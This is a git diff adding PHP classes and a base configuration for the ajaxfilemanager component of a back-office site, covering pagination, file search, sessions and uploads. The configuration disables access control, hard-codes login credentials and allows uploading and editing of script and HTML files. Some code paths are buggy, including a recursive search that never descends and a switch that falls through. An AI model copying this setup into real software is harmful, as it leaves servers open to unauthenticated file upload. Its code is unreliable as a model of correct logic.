$this->groupLimit; + } + /** + * get the page offset number + * used for Query . e.g SELECT SQL_CALC_FOUND_ROWS * + * FROM mytable LIMIT getPageOffset(), getItemsPerPage() + * + * @return iner + */ + function getPageOffset() + { + return (($this->currentPage - 1) * $this->itemsPerPage); + } + /** + * get the last url if any + * @return string the last url + */ + function getLastUrl() + { + + $url = ""; + $totalPages = $this->getTotalPages(); + if($this->currentPage < $totalPages) + { + $url = $this->__getBaseUrl(); + + if($this->friendlyUrl) + { + $url .= $this->pageIndex . $totalPages . "/"; + }else + { + $url = $this->__appendQueryString($url, $this->pageIndex . "=" . $totalPages); + } + $url = sprintf('%s', + $url, + $this->lastText); + } + return $url; + } + + + + + /** + * get the first url if any + * @return string the first url + */ + + function getFirstUrl() + { + $url = ""; + if($this->currentPage > 1) + { + $url = $this->__getBaseUrl(); + if($this->friendlyUrl) + { + $url .= $this->pageIndex . "1/"; + }else + { + $url = $this->__appendQueryString($url, $this->pageIndex . "=1"); + } + $url = sprintf('%s', + $url, + $this->firstText); + + } + return $url; + } + + /** + * get the previous page url if anywhere + * + * @param array $excludedQueryStrings excluded the value from $_GET + * @return string the previous page url + */ + function getPreviousUrl() + { + $url = ""; + if($this->currentPage > 1 && $this->totalItems > 0 ) + { + $url = $this->__getBaseUrl(); + if($this->friendlyUrl) + { + $url .= $this->pageIndex . ($this->currentPage - 1) . "/"; + }else + { + $url = $this->__appendQueryString($url, $this->pageIndex . "=" . ($this->currentPage -1)); + } + $url = sprintf('%s', + $url, + $this->previousText); + + } + + return $url; + } + /** + * get the next page url if anywhere + * + * @param array $excludedQueryStrings excluded the value from $_GET + * @return string the next page url + */ + function getNextUrl() + { + $url = ""; + if($this->totalItems > ($this->currentPage * $this->itemsPerPage)) + { + $url = $this->__getBaseUrl(); + if($this->friendlyUrl) + { + $url .= $this->pageIndex . ($this->currentPage + 1) . "/"; + }else + { + $url = $this->__appendQueryString($url, $this->pageIndex . "=" . ($this->currentPage + 1)); + } + $url = sprintf('%s', + $url, + $this->nextText); + } + return $url; + + } + + /** + * get the group page links e.g. 1,2,3,4,5 + * return format + * 1 + * 2 + * 3 + */ + function getGroupUrls() + { + $output = ""; + if($this->totalItems > 0) + { + $displayedPages = 0; + $url = $this->__getBaseUrl(); + $totalPages = $this->getTotalPages(); + // find halfway point + $groupLimitHalf = floor($this->groupLimit / 2); + // determine what item/page we start with + $itemStart = $this->currentPage - $groupLimitHalf; + $itemStart = ($itemStart > 0 && $itemStart <= $totalPages)?$itemStart:1; + $itemEnd = $itemStart; + + while($itemEnd < ($itemStart + $this->groupLimit - 1) && $itemEnd < $totalPages) + { + $itemEnd++; + } + + + if($totalPages > ($itemEnd - $itemStart)) + { + for($i = $itemStart; $i > 1 && ($itemEnd - $itemStart + 1) < $this->groupLimit; $i--) + { + $itemStart--; + } + } + + for($item = $itemStart; $item <= $itemEnd; $item++) + { + if($item != $this->currentPage) + {//it is not the active link + if($this->friendlyUrl) + { + $temUrl = $url . $this->pageIndex . $item . "/"; + }else + { + $temUrl = $this->__appendQueryString($url, $this->pageIndex . "=" . $item); + } + $output .= sprintf(' %d ', $temUrl, $item); + }else + {//active link + $output .= sprintf(' %d ', $item); + } + } + } + return $output; + } + /** + * set the text of previous page link + * + * @param string $value + */ + function setPreviousText($value) + { + $this->previousText = $value; + } + /** + * set the text of first page link + * + * @param string $value + */ + function setFirstText($value) + { + $this->firstText = $value; + } + /** + * set the text of next page link + * + * @param string $value + */ + + function setNextText($value) + { + $this->nextText = $value; + } + /** + * set the text of last page link + * + * @param string $value + */ + function setLastText($value) + { + $this->lastText = $value; + } + + /** + * set the excluded query string from $_GET; + * + * @param array the lists of the query string keys + */ + + function setExcludedQueryString($values = array()) + { + $this->excludedQueryStrings = $values; + } + + function getExcludedQueryString() + { + return $this->excludedQueryStrings; + } + + + /** + * add extra query stiring to a url + * @param string $baseUrl + * @param string $extra the query string added to the base url + */ + function __appendQueryString($baseUrl, $extra) + { + $output = trim($baseUrl); + if(strpos($baseUrl, "?") !== false) + { + $output .= "&" . $extra; + }else + { + $output .= "?" . $extra; + } + return $output; + } + /** + * return the html + * + * @param integer $type + */ + function getPaginationHTML($type=1, $cssClass="pagination") + { + $output = ''; + $output .= "

\n"; + switch($type) + { + case "2": + $output .= "" . $this->getFirstItem() . " to " . $this->getLastItem() . " of " . $this->getTotal() . " results. "; + if($previousUrl = $this->getPreviousUrl()) + { + $output .= " " . $previousUrl; + } + + if($nextUrl = $this->getNextUrl()) + { + $output .= " " . $nextUrl; + } + break; + case 1: + //get full summary pagination + default: + $output .= "" . $this->getFirstItem() . "/" . $this->getLastItem() . " (" . $this->getTotal() . ") "; + if($firstUrl = $this->getFirstUrl()) + { + $output .= " " . $firstUrl; + } + if($previousUrl = $this->getPreviousUrl()) + { + $output .= " " . $previousUrl; + } + + if($groupUrls = $this->getGroupUrls()) + { + $output .= " " . $groupUrls; + } + if($nextUrl = $this->getNextUrl()) + { + $output .= " " . $nextUrl; + } + if($lastUrl = $this->getLastUrl()) + { + $output .= " " . $lastUrl; + } + $itemPerPage = ''; + $itemPerPage .= "\n"; + $output .= ""; + $output .= sprintf(PAGINATION_ITEMS_PER_PAGE, $itemPerPage); + $output .= ""; + $output .= " "; + } + + $output .= "

"; + return $output; + } + +} +?> \ No newline at end of file diff --git a/BO/ajaxfilemanager/inc/class.search.php b/BO/ajaxfilemanager/inc/class.search.php new file mode 100755 index 0000000..b26241a --- /dev/null +++ b/BO/ajaxfilemanager/inc/class.search.php @@ -0,0 +1,184 @@ +'', + 'mtime_to'=>'', + 'name'=>'', + 'size_from'=>'', + 'size_to'=>'', + 'recursive'=>'0', + + ); + var $sessionAction = null; + /** + * constructor + * + * @param string $rootFolder + */ + function __construct($rootFolder) + { + $this->rootFolder = $rootFolder; + $this->sessionAction = new SessionAction(); + $objRootFolder = new file($this->rootFolder); + $tem = $objRootFolder->getFileInfo(); + $obj = new manager($this->rootFolder, false); + $obj->setSessionAction($this->sessionAction); + $selectedDocuments = $this->sessionAction->get(); + $fileType = $obj->getFolderInfo($this->rootFolder); + + foreach($fileType as $k=>$v) + { + $tem[$k] = $v; + } + + $tem['path'] = backslashToSlash($this->rootFolder); + $tem['type'] = (is_dir($this->rootFolder)?'folder':'file'); + $tem['size'] = (is_dir($this->rootFolder)?'':transformFileSize(@filesize($this->rootFolder))); + //$tem['ctime'] = date(DATE_TIME_FORMAT, $tem['ctime']); + //$tem['mtime'] = date(DATE_TIME_FORMAT, $tem['mtime']); + $tem['flag'] = (array_search($tem['path'], $selectedDocuments) !== false?($this->sessionAction->getAction() == "copy"?'copyFlag':'cutFlag'):'noFlag'); + $tem['url'] = getFileUrl($this->rootFolder); + $tem['friendly_path'] = transformFilePath($this->rootFolder); + $tem['file'] = 0; + $tem['subdir'] = 0; + $manager = null; + $this->rootFolderInfo = $tem; + $tem = null; + } + + + + /** + * constructor + * + * @param string $rootFolder + */ + function Search($rootFolder) + { + $this->__construct($rootFolder); + } + + /** + * change the search keyword individually + * + * @param string $key + * @param string $value + */ + function addSearchKeyword($key, $value) + { + $this->searchkeywords[$key] = $value; + } + /** + * change the search keywords + * + * @param array $keywords + */ + function addSearchKeywords($keywords) + { + foreach($this->searchkeywords as $k=>$v) + { + if(array_key_exists($k, $keywords) !== false) + { + $this->searchkeywords[$k] = $keywords[$k]; + } + } + } + /** + * get the file according to the search keywords + * + */ + function doSearch($baseFolderPath = null) + { + + $baseFolderPath = addTrailingSlash(backslashToSlash((is_null($baseFolderPath)?$this->rootFolder:$baseFolderPath))); + + $dirHandler = @opendir($baseFolderPath); + if($dirHandler) + { + while(false !== ($file = readdir($dirHandler))) + { + if($file != '.' && $file != '..') + { + $path = $baseFolderPath . $file; + if(is_file($path)) + { + $isValid = true; + + $fileTime = @filemtime($path); + $fileSize = @filesize($path); + if($this->searchkeywords['name'] !== '' && @eregi($this->searchkeywords['name'], $file) === false) + { + $isValid = false; + } + if($this->searchkeywords['mtime_from'] != '' && $fileTime < @strtotime($this->searchkeywords['mtime_from'])) + { + $isValid = false; + } + if($this->searchkeywords['mtime_to'] != '' && $fileTime > @strtotime($this->searchkeywords['mtime_to'])) + { + $isValid = false; + } + if($this->searchkeywords['size_from'] != '' && $fileSize < @strtotime($this->searchkeywords['size_from'])) + { + $isValid = false; + } + if($this->searchkeywords['size_to'] != '' && $fileSize > @strtotime($this->searchkeywords['size_to'])) + { + $isValid = false; + } + if($isValid && isListingDocument($path)) + { + $finalPath = $path; + $objFile = new file($finalPath); + $tem = $objFile->getFileInfo(); + $obj = new manager($finalPath, false); + $obj->setSessionAction($this->sessionAction); + $selectedDocuments = $this->sessionAction->get(); + $fileType = $obj->getFileType($finalPath); + + foreach($fileType as $k=>$v) + { + $tem[$k] = $v; + } + + $tem['path'] = backslashToSlash($finalPath); + $tem['type'] = (is_dir($finalPath)?'folder':'file'); + $tem['size'] = transformFileSize($tem['size']); + $tem['ctime'] = date(DATE_TIME_FORMAT, $tem['ctime']); + $tem['mtime'] = date(DATE_TIME_FORMAT, $tem['mtime']); + $tem['flag'] = (array_search($tem['path'], $selectedDocuments) !== false?($this->sessionAction->getAction() == "copy"?'copyFlag':'cutFlag'):'noFlag'); + $tem['url'] = getFileUrl($tem['path']); + $this->rootFolderInfo['file']++; + $manager = null; + $this->files[] = $tem; + $tem = null; + } + }elseif(is_dir($path) && $this->searchkeywords['recursive']) + { + $this->Search($baseFolderPath); + } + } + } + } + closedir($dirHandler); + } + + function getFoundFiles() + { + return $this->files; + } + + function getRootFolderInfo() + { + + return $this->rootFolderInfo; + } + } +?> diff --git a/BO/ajaxfilemanager/inc/class.session.php b/BO/ajaxfilemanager/inc/class.session.php new file mode 100755 index 0000000..8fcf53c --- /dev/null +++ b/BO/ajaxfilemanager/inc/class.session.php @@ -0,0 +1,228 @@ +mkdir(CONFIG_SYS_DIR_SESSION_PATH)) + { + die('Unable to create session folder.'); + } + } + if(!$dir->isReadable(CONFIG_SYS_DIR_SESSION_PATH)) + { + die('Permission denied: ' . CONFIG_SYS_DIR_SESSION_PATH . " is not readable."); + } + if(!$dir->isWritable(CONFIG_SYS_DIR_SESSION_PATH)) + { + die('Permission denied: ' . CONFIG_SYS_DIR_SESSION_PATH . " is not writable."); + } + $this->dir = backslashToSlash(addTrailingSlash(CONFIG_SYS_DIR_SESSION_PATH)); + $this->lifeTime = get_cfg_var("session.gc_maxlifetime"); + $this->gcCounterFile = $this->dir . $this->gcCounterFileName; + $this->gcLogFile = $this->dir . $this->gcLogFileName; + $this->sessionDir = backslashToSlash($this->dir.session_id().DIRECTORY_SEPARATOR); +*/ + $this->init(); + } + /** + * constructor + * + */ + function Session() + { + $this->__construct(); + } + /** + * session init + * @return boolean + */ + function init() + { + + + + } + + function gc() + { + //init the counter file + $fp = @fopen($this->gcCounterFile, 'a+'); + if($fp) + { + $count = (int)(fgets($fp, 999999)) + 1; + if($count > $this->gcCounter || rand(0, 23) == date('h')) + { + $this->_gc(); + $count = 0; + } + @ftruncate($fp, 0); + if(!@fputs($fp, $count)) + { + die(SESSION_COUNTER_FILE_WRITE_FAILED); + } + @fclose($fp); + }else + { + die(SESSION_COUNTER_FILE_CREATE_FAILED); + } + } + + + function _gc() + { + //remove expired file from session folder + $dirHandler = @opendir($this->dir); + $output = ''; + $output .= "gc start at " . date('d/M/Y H:i:s') . "\n"; + $fo = new file(); + if($dirHandler) + { + while(false !== ($file = readdir($dirHandler))) + { + if($file != '.' && $file != '..' && $file != $this->gcCounterFileName && $file != $this->gcLogFileName && $file != session_id() ) + { + $path=$this->dir.$file; + $output .= $path ; + //check if this is a expired session file + if(filemtime($path) + $this->lifeTime < time()) + { + if($fo->delete($path)) + { + $output .= ' Deleted at ' . date('d/M/Y H:i:s'); + }else + { + $output .= " Failed at " . date('d/M/Y H:i:s'); + } + } + $output .= "\n"; + + } + } + if($this->debug) + { + $this->_log($output); + } + + @closedir($dirHandler); + + } + if(CONFIG_SYS_DEMO_ENABLE) + { + //remove expired files from uploaded folder + $dirHandler = @opendir(CONFIG_SYS_ROOT_PATH); + $output = ''; + $output .= "gc start at " . date('d/M/Y H:i:s') . "\n"; + $fo = new file(); + if($dirHandler) + { + while(false !== ($file = readdir($dirHandler))) + { + if($file != '.' && $file != '..') + { + $path=CONFIG_SYS_ROOT_PATH.$file; + $output .= $path ; + //check if this is a expired session file + if(filemtime($path) + $this->lifeTime < time()) + { + if($fo->delete($path)) + { + $output .= ' Deleted at ' . date('d/M/Y H:i:s'); + }else + { + $output .= " Failed at " . date('d/M/Y H:i:s'); + } + } + $output .= "\n"; + + } + } + if($this->debug) + { + $this->_log($output); + } + + @closedir($dirHandler); + + } + } + + } + /** + * log action taken by the gc + * + * @param unknown_type $msg + */ + function _log($msg) + { + $msg = "\n" . $msg; + $fp = @fopen($this->gcLogFile, 'w+'); + if($fp) + { + @ftruncate($fp, 0); + !@fputs($fp, $msg); + @fclose($fp); + } + } + + /** + * get the current session directory + * + * @return string return empty if failed + */ + function getSessionDir() + { + if(!file_exists($this->sessionDir) && !is_dir($this->sessionDir)) + { + $dir = new file(); + if(!$dir->mkdir($this->sessionDir)) + { + return ''; + } + }else + { + if(!@is_dir($this->sessionDir)) + { + return ''; + } + } + return $this->sessionDir; + } + + + +} +?> \ No newline at end of file diff --git a/BO/ajaxfilemanager/inc/class.sessionaction.php b/BO/ajaxfilemanager/inc/class.sessionaction.php new file mode 100755 index 0000000..486d1df --- /dev/null +++ b/BO/ajaxfilemanager/inc/class.sessionaction.php @@ -0,0 +1,93 @@ +actionIndex])) + { + $_SESSION[$this->actionIndex] = ''; + } + if(!isset($_SESSION[$this->selectedDocIndex]) || !is_array($_SESSION[$this->selectedDocIndex])) + { + $_SESSION[$this->selectedDocIndex] = array(); + } + if(!isset($_SESSION[$this->fromFolderIndex])) + { + $_SESSION[$this->fromFolderIndex] = ''; + } + } + + function SessionAction() + { + $this->__construct(); + } + /** + * count the number of selected documents + * + */ + function count() + { + return (isset($_SESSION[$this->selectedDocIndex])?sizeof($_SESSION[$this->selectedDocIndex]):0); + } + /** + * assign the selected documents + * + * @param array $selectedDocuments + */ + function set($selectedDocuments) + { + $_SESSION[$this->selectedDocIndex] = $selectedDocuments; + + } + /** + * get the selected documents + * @return array + */ + function get() + { + return (isset($_SESSION[$this->selectedDocIndex])?$_SESSION[$this->selectedDocIndex]:array()); + } + + function setAction($action) + { + $_SESSION[$this->actionIndex] = $action; + } + /** + * get the action + * + * @return unknown + */ + function getAction() + { + return (isset($_SESSION[$this->actionIndex])?$_SESSION[$this->actionIndex]:''); + } + /** + * set the folder + * + * @param string $folder + */ + function setFolder($folder) + { + $_SESSION[$this->fromFolderIndex] = $folder; + } + /** + * get the folder + * + * @return string + */ + function getFolder() + { + return (isset($_SESSION[$this->fromFolderIndex])?$_SESSION[$this->fromFolderIndex]:''); + } + } +?> \ No newline at end of file diff --git a/BO/ajaxfilemanager/inc/class.upload.php b/BO/ajaxfilemanager/inc/class.upload.php new file mode 100755 index 0000000..58979c6 --- /dev/null +++ b/BO/ajaxfilemanager/inc/class.upload.php @@ -0,0 +1,589 @@ +'the file uploaded with success', + 1=>'The uploaded file exceeds the upload_max_filesize directive in php.ini', + 2=>'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form', + 3=>'The uploaded file was only partially uploaded', + 4=>'No file was uploaded.', + 6=>'Missing a temporary folder', + 7=>'Failed to write file to disk', + 8=>'File upload stopped by extension', + 999=>'No error code avaiable', + ); + + + function Upload() + { + //doing nothing + } + + function isFileUploaded($indexInPost="file") + { + + $this->errCode = isset($_FILES[$indexInPost]['error'])?$_FILES[$indexInPost]['error']:999; + if((isset($_FILES[$indexInPost]['error']) && $_FILES[$indexInPost] == 0) || + (!empty($_FILES[$indexInPost]['tmp_name']) && $_FILES[$indexInPost]['tmp_name'] != 'none') + ) + { + $this->_value = $_FILES[$indexInPost]; + $this->fileSize = @filesize($this->_value['tmp_name']); + $this->originalFileName = $this->_value['name']; + $this->fileType = $this->_value['type']; + + return true; + }else + { + + array_push($this->errors, 'Unable to upload file'); + return false; + } + } + + function getErrorCodeMsg() + { + return (isset($this->errorCodes[$this->errCode])?$this->errorCodes[$this->errCode]:""); + } + /** + * check if the uploaded file extension is allowed against the validFile Extension + * or against the invalid extension list when the list of valid file extension is not set + * + * @param array $validFileExt + * @return boolean + */ + function isPermittedFileExt($validFileExt = array()) + { + $tem = array(); + + if(sizeof($validFileExt)) + { + foreach($validFileExt as $k=>$v) + { + $tem[$k] = strtolower(trim($v)); + } + } + $validFileExt = $tem; + + if(sizeof($validFileExt) && sizeof($this->invalidFileExt)) + { + foreach($validFileExt as $k=>$ext) + { + if(array_search(strtolower($ext), $this->invalidFileExt) !== false) + { + unset($validFileExt[$k]); + } + } + } + + + + + if(sizeof($validFileExt)) + { + if(array_search(strtolower($this->getFileExt()), $validFileExt) !== false) + { + return true; + } + }elseif(array_search(strtolower($this->getFileExt()), $this->invalidFileExt) === false) + { + return true; + } + + + $this->deleteUploadedFile(); + return false; + + } + /** + * check if the uploaded file size is too big + * + * @param integer $maxSize + */ + function isSizeTooBig($maxSize="") + { + if($this->fileSize > $maxSize) + { + $this->deleteUploadedFile(); + return true; + }else + { + return false; + } + } + /** + * set the invali file extensions + * + * @param array $invalidFileExt + */ + function setInvalidFileExt($invalidFileExt=array()) + { + $tem = array(); + if(sizeof($invalidFileExt)) + { + foreach($invalidFileExt as $k=>$v) + { + $tem[$k]= strtolower(trim($v)); + } + } + + $this->invalidFileExt = $tem; + } + /** + * get file type + * + * @return string + */ + function getFileType() + { + return $this->fileType; + } + /** + * get a file extension + * + * @param string $fileName the path to a file or just the file name + */ + function getFileExt() + { + //return strtolower(substr(strrchr($this->fileName, "."), 1)); + return substr(strrchr($this->originalFileName, "."), 1); + } + /** + * move the uploaded file to a specific location + * + * @param string $dest the path to the directory which the uploaded file will be moved to + * @param string $fileBaseName the base name which the uploaded file will be renamed to + * @param unknown_type $overwrite + * @return unknown + */ + function moveUploadedFile($dest, $fileBaseName = '', $overwrite=false) + { + + //ensure the directory path ending with / + if ($dest != '' && substr($dest, -1) != '/') { + $dest .= '/'; + } + $this->dirPath = $dest; + $fileName = basename($this->_value['name']); + + $dotIndex = strrpos($fileName, '.'); + $this->fileExtension = ''; + if(is_int($dotIndex)) + { + $this->fileExtension = substr($fileName, $dotIndex); + $this->fileBaseName = substr($fileName, 0, $dotIndex); + } + if(!empty($fileBaseName)) + { + $this->fileBaseName = $fileBaseName; + } + $fileName = $this->fileBaseName . $this->fileExtension; + $filePath = $dest . $fileName; + + if(!$overwrite && file_exists($filePath) && is_file($filePath)) + {//rename + + $counter = 0; + while(file_exists($dest.$fileName) && is_file($dest .$fileName)) + { + $counter++; + $fileName = $this->fileBaseName.'_'.$counter.$this->fileExtension; + } + $this->fileBaseName .= "_" . $counter; + + } + if (@move_uploaded_file($this->_value['tmp_name'], $dest . $fileName)) { + @chmod($dest . $fileName, $this->uploadFileMode); + $this->fileName = $fileName; + $this->filePath = $dest . $fileName; + return true; + } else { + return false; + } + } + + + /** + * check if the uploaded is permitted to upload + * + * @param mixed $invalidImageExts invalid image extension + * @param bool $delete force to delete the uploaded file + */ + function isImage($invalidImageExts = array(), $delete = true) + { + if(!is_array($invalidImageExts) && !empty($invalidImageExts)) + { + $invalidImageExts = explode(",", $invalidImageExts); + } + foreach ($invalidImageExts as $k=>$v) + { + $invalidImageExts[$k] = strtolower(trim($v)); + } + foreach ($this->validImageExts as $k=>$v) + { + $ValidImageExts[$k] = strtolower(trim($v)); + } + if(sizeof($invalidImageExts)) + { + foreach ($ValidImageExts as $k=>$v) + { + if(array_search(strtolower($v), $invalidImageExts) !== false) + { + unset($ValidImageExts[$k]); + } + } + } + if(array_search(strtolower($this->getFileExt()), $ValidImageExts)!==false) + { + $this->_get_image_details($this->filePath); + if(!empty($this->fileType)) + { + return true; + } + }else + { + if($delete) + { + $this->deleteUploadedFile(); + } + } + + array($this->errors, "This file is not a image type file."); + return false; + } + + /** + * Resize the Image in the X and/or Y direction + * If either is 0 it will be scaled proportionally + * + * @access public + * + * @param mixed $new_x + * @param mixed $new_y + * @param string $thumb_suffix + * + * @return mixed none or PEAR_error + */ + function resize($filePath, $thumb_suffix="", $new_x = 0, $new_y = 0) + { + + if(empty($filePath)) + { + $filePath = $this->dirPath . $this->fileBaseName . $thumb_suffix . $this->fileExtension; + } + // 0 means keep original size + if ($this->img_x > $this->img_y) + $new_y = (int)($new_y/$this->img_x*$this->img_y); + else if ($this->img_y > $this->img_x) + $new_x = (int)($new_x/$this->img_y*$this->img_x); + // Now do the library specific resizing. + return $this->_resize($filePath,$new_x, $new_y); + } // End resize + + /** + * resize the image and return the thumbnail image details array("width"=>, "height"=>, "name") + * + * @param string $fileName + * @param int $new_x the thumbnail width + * @param int $new_y the thumbnail height + * @return unknown + */ + function _resize($fileName, $new_x, $new_y) { + $functionName = 'ImageCreateFrom' . $this->fileType; + + + if(function_exists($functionName)) + { + $this->imgHandler = $functionName($this->filePath); + }else + { + array_push($this->errors, $functionName . " function is unavailable"); + return false; + } + + if(function_exists('ImageCreateTrueColor')){ + $new_img =ImageCreateTrueColor($new_x,$new_y); + } else { + $new_img =ImageCreate($new_x,$new_y); + } + if(function_exists('ImageCopyResampled')){ + ImageCopyResampled($new_img, $this->imgHandler, 0, 0, 0, 0, $new_x, $new_y, $this->img_x, $this->img_y); + } else { + ImageCopyResized($new_img, $this->imgHandler, 0, 0, 0, 0, $new_x, $new_y, $this->img_x, $this->img_y); + } + if($this->_imageSave($new_img, $fileName, 80)) + { + return array("width"=>$new_x, "height"=>$new_y, "name"=>basename($fileName)); + }else + { + + array_push($this->errors, "Unable to resize the image"); + return false; + } + + } + /** + * save the thumbnail file and destroy the opened image + * + * @param resource $newImageHandler + * @param string $fileName + * @param int $quality + * @return boolean + */ + function _imageSave($newImageHandler, $fileName, $quality = 90) + { + $functionName = 'image' . $this->fileType; + if($functionName($newImageHandler, $fileName, $quality)) + { + imagedestroy($newImageHandler); + return true; + }else + { + imagedestroy($newImageHandler); + array_push($this->errors, "Unable to save the thumbnail file."); + return false; + } + + } + /** + * + * @access public + * @return void + */ + function _get_image_details($image) + { + + //echo $image; + $data = @GetImageSize($image); + #1 = GIF, 2 = JPG, 3 = PNG, 4 = SWF, 5 = PSD, 6 = BMP, 7 = TIFF(intel byte order), 8 = TIFF(motorola byte order, + # 9 = JPC, 10 = JP2, 11 = JPX, 12 = JB2, 13 = SWC + if (is_array($data)){ + switch($data[2]){ + case 1: + $type = 'gif'; + break; + case 2: + $type = 'jpeg'; + break; + case 3: + $type = 'png'; + break; + case 4: + $type = 'swf'; + break; + case 5: + $type = 'psd'; + case 6: + $type = 'bmp'; + case 7: + case 8: + $type = 'tiff'; + default: + array_push($this->errors, "We do not recognize this image format"); + + } + $this->img_x = $data[0]; + $this->img_y = $data[1]; + $this->fileType = $type; + + return true; + } else { + array_push($this->errors, "Cannot fetch image or images details."); + return null; + } + } + /** + * caculate the thumbnail details from the original image file + * + * @param string $originalImageName + * @param int $originaleImageWidth + * @param int $originalImageHeight + * @param string $thumbnailSuffix + * @param int $thumbnailWidth + * @param int $thumbnailHeight + * @return array array("name"=>"image name", "width"=>"image width", "height"=>"image height") + */ + function getThumbInfo($originalImageName, $originaleImageWidth, $originalImageHeight, $thumbnailSuffix, $thumbnailWidth, $thumbnailHeight) + { + $outputs = array("name"=>"", "width"=>0, "height"=>0); + $thumbnailWidth = (int)($thumbnailWidth); + $thumbnailHeight = (int)($thumbnailHeight); + if(!empty($originalImageName) && !empty($originaleImageWidth) && !empty($originalImageHeight)) + { + $dotIndex = strrpos($originalImageName, '.'); + //begin to get the thumbnail image name + $fileExtension = ''; + $fileBaseName = ''; + if(is_int($dotIndex)) + { + $fileExtension = substr($originalImageName, $dotIndex); + $fileBaseName = substr($originalImageName, 0, $dotIndex); + } + $outputs['name'] = $fileBaseName . $thumbnailSuffix . $fileExtension; + //start to get the thumbnail width & height + if($thumbnailWidth < 1 && $thumbnailHeight < 1) + { + $thumbnailWidth =$originaleImageWidth; + $thumbnailHeight = $originalImageHeight; + }elseif($thumbnailWidth < 1) + { + $thumbnailWidth = floor($thumbnailHeight / $originalImageHeight * $originaleImageWidth); + + }elseif($thumbnailHeight < 1) + { + $thumbnailHeight = floor($thumbnailWidth / $originaleImageWidth * $originalImageHeight); + }else + { + $scale = min($thumbnailWidth/$originaleImageWidth, $thumbnailHeight/$originalImageHeight); + $thumbnailWidth = floor($scale*$originaleImageWidth); + $thumbnailHeight = floor($scale*$originalImageHeight); + } + $outputs['width'] = $thumbnailWidth; + $outputs['height'] = $thumbnailHeight; + } + return $outputs; + + } + + + /** + * get the uploaded file + */ + function deleteUploadedFile() + { + @unlink($this->filePath); + } + /** + * destroy the tmp file + * + */ + function finish() + { + @unlink($this->_value['tmp_name']); + } + + function displayError() + { + if(sizeof($this->errors)) + { + echo "
";
+			print_r($this->errors);
+			echo "
"; + } + } + /** + * get the path which the file uploaded to + * + */ + function getFilePath() + { + return $this->filePath; + } + /** + * return the directory path witch the file uploaded to + * + * @return unknown + */ + function getDirPath() + { + return $this->dirPath; + } + + function getFileBaseName() + { + return $this->fileBaseName; + } + + function getFileName() + { + return $this->fileName; + } + /** + * get image width + * + * @return integer + */ + function getImageWidth() + { + return $this->img_x; + } + /** + * get image height + * + * @return integer + */ + function getImageHeight() + { + return $this->img_y; + } + /** + * get uploaded file size + * + * @return string + */ + function getFileSize() + { + return $this->fileSize; + } + /** + * delete the uploaded image file & associated thumnails + * + * @param string $dirPath + * @param string $originalImageName + * @param string $arrayThumbnailSuffix + */ + function deleteFileAndThumbs($dirPath, $originalImageName, $arrayThumbnailSuffix) + { + //ensure the directory path ending with / + if ($dirPath != '' && substr($dirPath, -1) != '/') { + $dirPath .= '/'; + } + if(!empty($originalImageName) && file_exists($dirPath . $originalImageName) && is_file($dirPath . $originalImageName)) + { + @unlink($dirPath . $originalImageName); + foreach($arrayThumbnailSuffix as $v) + { + $dotIndex = strrpos($originalImageName, '.'); + //begin to get the thumbnail image name + $fileExtension = ''; + $fileBaseName = ''; + if(is_int($dotIndex)) + { + $fileExtension = substr($originalImageName, $dotIndex); + $fileBaseName = substr($originalImageName, 0, $dotIndex); + } + @unlink($dirPath . $fileBaseName . $v . $fileExtension); + } + } + + + } +} +?> \ No newline at end of file diff --git a/BO/ajaxfilemanager/inc/config.base.php b/BO/ajaxfilemanager/inc/config.base.php new file mode 100755 index 0000000..28155f2 --- /dev/null +++ b/BO/ajaxfilemanager/inc/config.base.php @@ -0,0 +1,135 @@ + false + * by session => true + */ + define('CONFIG_ACCESS_CONTROL_MODE', false); + define("CONFIG_LOGIN_USERNAME", 'sdfgdfgdfgdgfdgsdfsdfg3454dsfb5e'); + define('CONFIG_LOGIN_PASSWORD', 'ASDF@#%JHGSDFGasdkjfh3812764ksdjfbhkjxcf'); + define('CONFIG_LOGIN_PAGE', 'ajax_login.php'); //the url to the login page + + + //SYSTEM MODE CONFIG + /** + * turn it on when you have this system for demo purpose + * that means changes made to each image is not physically applied to it + * and all uploaded files/created folders will be removed automatically + */ + define('CONFIG_SYS_DEMO_ENABLE', false); + define('CONFIG_SYS_VIEW_ONLY', false); //diabled the system, view only + define('CONFIG_SYS_THUMBNAIL_VIEW_ENABLE', true);//REMOVE THE thumbnail view if false + + //User Permissions + define('CONFIG_OPTIONS_DELETE', true); + define('CONFIG_OPTIONS_CUT', true); + define('CONFIG_OPTIONS_COPY', true); + define('CONFIG_OPTIONS_NEWFOLDER', true); + define('CONFIG_OPTIONS_RENAME', true); + define('CONFIG_OPTIONS_UPLOAD', true); // + define('CONFIG_OPTIONS_EDITABLE', true); //disable image editor and text editor + //FILESYSTEM CONFIG + /* + * CONFIG_SYS_DEFAULT_PATH is the default folder where the files would be uploaded to + and it must be a folder under the CONFIG_SYS_ROOT_PATH or the same folder + these two paths accept relative path only, don't use absolute path + */ + //check if folder exist + if (!is_dir('../../img/cms')) + mkdir('../../img/cms'); + + define('CONFIG_SYS_DEFAULT_PATH', '../../img/cms'); //accept relative path only + define('CONFIG_SYS_ROOT_PATH', '../../img/cms'); //accept relative path only + define('CONFIG_SYS_FOLDER_SHOWN_ON_TOP', true); //show your folders on the top of list if true or order by name + define("CONFIG_SYS_DIR_SESSION_PATH", 'session/'); + define("CONFIG_SYS_PATTERN_FORMAT", 'list'); //three options: reg ,csv, list, this option define the parttern format for the following patterns + /** + * reg => regulare expression + * csv => a list of comma separated file/folder name, (exactly match the specified file/folders) + * list => a list of comma spearated vague file/folder name (partially match the specified file/folders) + * + */ + //more details about regular expression please visit http://nz.php.net/manual/en/function.eregi.php + define('CONFIG_SYS_INC_DIR_PATTERN', ''); //force listing of folders with such pattern(s). separated by , if multiple + define('CONFIG_SYS_EXC_DIR_PATTERN', 'CVS'); //will prevent listing of folders with such pattern(s). separated by , if multiple + define('CONFIG_SYS_INC_FILE_PATTERN', ''); //force listing of fiels with such pattern(s). separated by , if multiple + define('CONFIG_SYS_EXC_FILE_PATTERN', ''); //will prevent listing of files with such pattern(s). separated by , if multiple + define('CONFIG_SYS_DELETE_RECURSIVE', 1); //delete all contents within a specific folder if set to be 1 + + //UPLOAD OPTIONS CONFIG + define('CONFIG_UPLOAD_MAXSIZE', 5000 * 1024 ); //by bytes + //define('CONFIG_UPLOAD_MAXSIZE', 2048); //by bytes + //define('CONFIG_UPLOAD_VALID_EXTS', 'txt');// + + define('CONFIG_EDITABLE_VALID_EXTS', 'txt,htm,html,xml,js,css'); //make you include all these extension in CONFIG_UPLOAD_VALID_EXTS if you want all valid + + define('CONFIG_OVERWRITTEN', false); 